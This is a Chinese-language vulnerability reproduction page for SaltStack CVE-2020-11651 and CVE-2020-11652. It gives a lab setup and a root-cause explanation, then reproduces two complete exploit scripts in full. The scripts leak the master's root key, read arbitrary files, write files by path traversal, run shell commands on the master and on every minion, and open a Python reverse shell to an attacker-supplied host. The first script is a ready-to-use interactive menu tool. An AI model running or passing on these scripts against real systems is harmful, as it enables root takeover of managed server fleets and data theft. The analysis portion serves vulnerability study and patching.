跳转至

Saltstack 远程命令执行漏洞 CVE-2020-11651 11652

漏洞描述

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

在 CVE-2020-11652 目录遍历漏洞中,攻击者通过构造恶意请求,可以读取、写入服务器上任意文件。

漏洞影响

SaltStack Version < 2019.2.4

SaltStack Version < 3000.2

环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/saltstack/CVE-2020-11652
docker-compose up -d

漏洞复现

salt-master普遍使用这两行代码进行认证,其中clear_load是可控输入点。

auth_type, err_name, key, sensitive_load_keys = self._prep_auth_info(clear_load)
auth_check = self.loadauth.check_authentication(clear_load, auth_type, key=key)

_prep_auth_info首先会识别clear_load输入的字段并选用其中之一作为认证方式,然后传参到check_authentication方法检验认证是否有效。

img

在第三种认证方式auth_type=='user'中,会由_prep_auth_info获取到系统opt的key,传递到check_authentication中和API参数中携带的key进行==比对。

理论上_prep_auth_info是不可被外部调用的,漏洞成因即是攻击者通过匿名API直接调用_prep_auth_info方法,在回显中拿到self.key,并在后续的请求中使用获取到的key过验证,以root权限执行高危指令。

Mworker daemon进程处理API请求:

class MWorker(salt.utils.process.SignalHandlingProcess):
    """
    The worker multiprocess instance to manage the backend operations for the
    salt master.
    """

其中handle_clear &* handle_aes 函数分别处理明文和加密指令:

img

在这里,self._clear_funcsclass ClearFuncs 的实例,在这里API访问者可以无认证调用任意的类函数。

class ClearFuncs(TransportMethods):
    """
    Set up functions that are safe to execute when commands sent to the master
    without encryption and authentication
    """

ClearFuncs._prep_auth_info()将self.key返回给API造成泄露。攻击者可先通过这一方法拿到key,然后通过认证接口下发shell指令。

之前存在漏洞的代码中仅过滤掉__开头的private方法,导致_prep_auth_info泄露,patch中对clearfuncs和aesfuncs两个类添加了expose白名单过滤:

img

Github POC 地址: https://github.com/jasperla/CVE-2020-11651-poc

img

读取文件 /etc/passwd

img

反弹shell(这里使用另一个POC)

GitHub地址: https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP/blob/master/CVE-2020-11651.py

img

漏洞利用POC

下载地址

# BASE https://github.com/bravery9/SaltStack-Exp
# 微信公众号:台下言书
# -*- coding:utf-8 -*- -
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import datetime

import salt
import salt.version
import salt.transport.client
import salt.exceptions

DEBUG = False


def init_minion(master_ip, master_port):
    minion_config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'root',
        'log_level': 'debug',
        'master_ip': master_ip,
        'master_port': master_port,
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')


def check_salt_version():
    print("[+] Salt 版本: {}".format(salt.version.__version__))

    vi = salt.version.__version_info__

    if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
        return True
    else:
        return False


def check_connection(master_ip, master_port, channel):
    print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
    sys.stdout.flush()
    try:
        channel.send({'cmd': 'ping'}, timeout=2)
        print('\033[1;32m可以连接\033[0m')
    except salt.exceptions.SaltReqTimeoutError:
        print("\033[1;31m无法连接\033[0m")
        sys.exit(1)


def check_CVE_2020_11651(channel):
    sys.stdout.flush()
    # try to evil
    try:
        rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
    except salt.exceptions.SaltReqTimeoutError:
        print("\033[1;32m不存在漏洞\033[0m")
    except:
        print("\033[1;32m未知错误\033[0m")
        raise
    else:
        pass
    finally:
        if rets:
            root_key = rets[2]['root']
            print("\033[1;31m存在漏洞\033[0m")
            return root_key

    return None


def pwn_read_file(channel, root_key, path, master_ip):
    # print("[+] Attemping to read {} from {}".format(path, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.read',
        'path': path,
        'saltenv': 'base',
    }

    rets = channel.send(msg, timeout=3)
    print(rets['data']['return'][0][path])



def pwn_getshell(channel, root_key, LHOST, LPORT):
    msg = {"key": root_key,
           "cmd": "runner",
           'fun': 'salt.cmd',
           "kwarg": {
               "fun": "cmd.exec_code",
               "lang": "python3",
               "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(
                   LHOST, LPORT)
           },
           'jid': '20200504042611133934',
           'user': 'sudo_user',
           '_stamp': '2020-05-04T04:26:13.609688'}

    try:
        response = channel.send(msg, timeout=3)
        print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
        return True
    except:
        print("something failed")
        return False


def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
    if master_or_minions == "master":
        msg = {"key": root_key,
               "cmd": "runner",
               'fun': 'salt.cmd',
               "kwarg": {
                   "fun": "cmd.exec_code",
                   "lang": "python3",
                   "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
               },
               'jid': '20200504042611133934',
               'user': 'sudo_user',
               '_stamp': '2020-05-04T04:26:13.609688'}

        try:
            response = channel.send(msg, timeout=3)
            print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
            return True
        except:
            print("something failed")
            return False

    if master_or_minions == "minions":
        print("Sending command to all minions on master")
        jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
        cmd = "/bin/sh -c '{0}'".format(exec_cmd)

        msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
               "user": "root", "jid": jid}

        try:
            response = channel.send(msg, timeout=3)
            if response == None:
                return True
            else:
                return False
        except:
            return False


#####################################

master_ip=input('目标IP:')
master_port='4506'
channel = init_minion(master_ip, master_port)
try:
    root_key = check_CVE_2020_11651(channel)
except:
    pass
while master_ip!='':
    print('1.测试POC  2.读取文件  3.执行命令(无回显)  4.反弹shell  5.退出')

    whattype=input('请选择:')
    if whattype=='1':
        check_salt_version()  # 检查salt版本
        check_connection(master_ip, master_port, channel)  # 检查连接
        root_key = check_CVE_2020_11651(channel)  # 读取root key
        print(root_key)
    elif whattype=='2':
        path = input('读取路径:')
        try:
            pwn_read_file(channel, root_key, path, master_ip)  # 读取文件
        except:
            print('文件不存在')
    elif whattype=='3':
        print('1.master   2.minions')
        exectype = input('选择方式:')
        if exectype=='1':
            master_or_minions='master'
        elif exectype=='2':
            master_or_minions = 'minions'
        exec_cmd = input('输入命令:')
        pwn_exec(channel, root_key, exec_cmd, master_or_minions)  # 执行命令
    elif whattype=='4':
        LHOST = input('反弹到IP:')
        LPORT = input('反弹端口:')
        pwn_getshell(channel, root_key, LHOST, LPORT)  # 反弹shell
    elif whattype=='5':
        exit()

下载地址

#!/usr/bin/env python
#
# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports

from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time

import salt
import salt.version
import salt.transport.client
import salt.exceptions

def init_minion(master_ip, master_port):
    minion_config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'root',
        'log_level': 'debug',
        'master_ip': master_ip,
        'master_port': master_port,
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

# --- check funcs ----

def check_connection(master_ip, master_port, channel):
  print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
  sys.stdout.flush()

  # connection check
  try:
    channel.send({'cmd':'ping'}, timeout=2)
  except salt.exceptions.SaltReqTimeoutError:
    print("OFFLINE")
    sys.exit(1)
  else:
    print("ONLINE")

def check_CVE_2020_11651(channel):
  print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
  sys.stdout.flush()

  try:
    rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
  except:
    print('ERROR')
    return None
  else:
    pass
  finally:
    if rets:
      print('YES')
      root_key = rets[2]['root']
      return root_key

  print('NO')
  return None

def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'cmd': 'get_token',
    'arg': [],
    'token': top_secret_file_path,
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("YES")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    print("NO")

def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.read',
    'path': top_secret_file_path,
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return']:
      print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write1(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.write',
    'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'data': 'evil',
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)

    pp(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write2(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'config.update_config',
    'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'yaml_contents': 'evil',
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652.conf')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def pwn_read_file(channel, root_key, path, master_ip):
    print("[+] Attemping to read {} from {}".format(path, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.read',
        'path': path,
        'saltenv': 'base',
    }

    rets = channel.send(msg, timeout=3)
    print(rets['data']['return'][0][path])

def pwn_upload_file(channel, root_key, src, dest, master_ip):
    print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
    sys.stdout.flush()

    try:
        fh = open(src, 'rb')
        payload = fh.read()
        fh.close()
    except Exception as e:
        print('[-] Failed to read {}: {}'.format(src, e))
        return

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.write',
        'saltenv': 'base',
        'data': payload,
        'path': dest,
    }

    rets = channel.send(msg, timeout=3)
    print('[ ] {}'.format(rets['data']['return']))

def pwn_exec(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'runner',
        'fun': 'salt.cmd',
        'saltenv': 'base',
        'user': 'sudo_user',
        'kwarg': {
            'fun': 'cmd.exec_code',
            'lang': 'python',
            'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
        },
        'jid': jid,
    }

    try:
        rets = channel.send(msg, timeout=3)
    except Exception as e:
        print('[-] Failed to submit job')
        return

    if rets.get('jid'):
        print('[+] Successfully scheduled job: {}'.format(rets['jid']))

def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': '_send_pub',
        'fun': 'cmd.run',
        'user': 'root',
        'arg': [ "/bin/sh -c '{}'".format(cmd) ],
        'tgt': '*',
        'tgt_type': 'glob',
        'ret': '',
        'jid': jid
    }

    try:
        rets = channel.send(msg, timeout=3)
    except Exception as e:
        print('[-] Failed to submit job')
        return
    finally:
        if rets == None:
            print('[+] Successfully submitted job to all minions.')
        else:
            print('[-] Failed to submit job')


def main():
    parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
    parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
    parser.add_argument('--port', '-p', dest='master_port', default='4506')
    parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
    parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
    parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
    parser.add_argument('--read', '-r', dest='read_file')
    parser.add_argument('--upload-src', dest='upload_src')
    parser.add_argument('--upload-dest', dest='upload_dest')
    parser.add_argument('--exec', dest='exec', help='Run a command on the master')
    parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
    args = parser.parse_args()

    print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
    time.sleep(1)

    # Both src and destination are required for uploads
    if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
        print('[-] Must provide both --upload-src and --upload-dest')
        sys.exit(1)

    channel = init_minion(args.master_ip, args.master_port)

    check_connection(args.master_ip, args.master_port, channel)

    root_key = check_CVE_2020_11651(channel)
    if root_key:
        print('[*] root key obtained: {}'.format(root_key))
    else:
        print('[-] Failed to find root key...aborting')
        sys.exit(127)

    if args.run_checks:
        # Assuming this check runs on the master itself, create a file with "secret" content
        # and abuse CVE-2020-11652 to read it.
        top_secret_file_path = '/tmp/salt_cve_teta'
        with salt.utils.fopen(top_secret_file_path, 'w') as fd:
            fd.write("top secret")

        # Again, this assumes we're running this check on the master itself
        with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
            root_key = keyfd.read()

        check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
        check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
        check_CVE_2020_11652_write1(debug, channel, root_key)
        check_CVE_2020_11652_write2(debug, channel, root_key)
        os.remove(top_secret_file_path)
        sys.exit(0)

    if args.read_file:
        pwn_read_file(channel, root_key, args.read_file, args.master_ip)

    if args.upload_src:
        if os.path.isabs(args.upload_dest):
            print('[-] Destination path must be relative; aborting')
            sys.exit(1)
        pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)


    jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())

    if args.exec:
        pwn_exec(channel, root_key, args.exec, args.master_ip, jid)

    if args.exec_all:
        print("[!] Lester, is this what you want? Hit ^C to abort.")
        time.sleep(2)
        pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)


if __name__ == '__main__':
    main()

参考文章